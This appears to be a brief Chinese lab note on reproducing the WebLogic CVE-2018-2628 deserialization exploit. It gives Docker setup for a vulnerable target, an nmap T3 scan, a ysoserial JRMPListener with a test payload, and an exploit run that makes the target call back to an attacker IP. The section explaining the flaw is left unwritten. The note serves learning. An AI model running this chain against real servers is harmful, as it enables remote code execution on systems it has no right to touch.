环境搭建
weblogic靶机：
docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker images
docker run -d -p7001:7001 zhiqzhao/ubuntu_weblogic1036_domain
攻击的服务器：
java + python2环境即可
docker学习笔记： https://www.evernote.com/shard/s461/sh/bc38ea4c-3bfe-4321-ab3c-1742f69998e4/4e371b210ab3b23e9df415f54dadaabb
漏洞利用
在windows上执行exploit，返回数据二进制会在cmd中报错，但是命令是可以执行成功的，Linux下是没有报错的。
攻击机执行命令：
nmap -sV --script=weblogic-t3-info -Pn 120.77.253.216 -p7001
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/zhenxin'
python cve-2018-2628.py 120.77.253.216 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 122.152.233.180 1099 JRMPClient2
image.png
image.png
image.png
漏洞原理
明天补。
参考文章
https://blog.csdn.net/archersaber39/article/details/80135463#t0
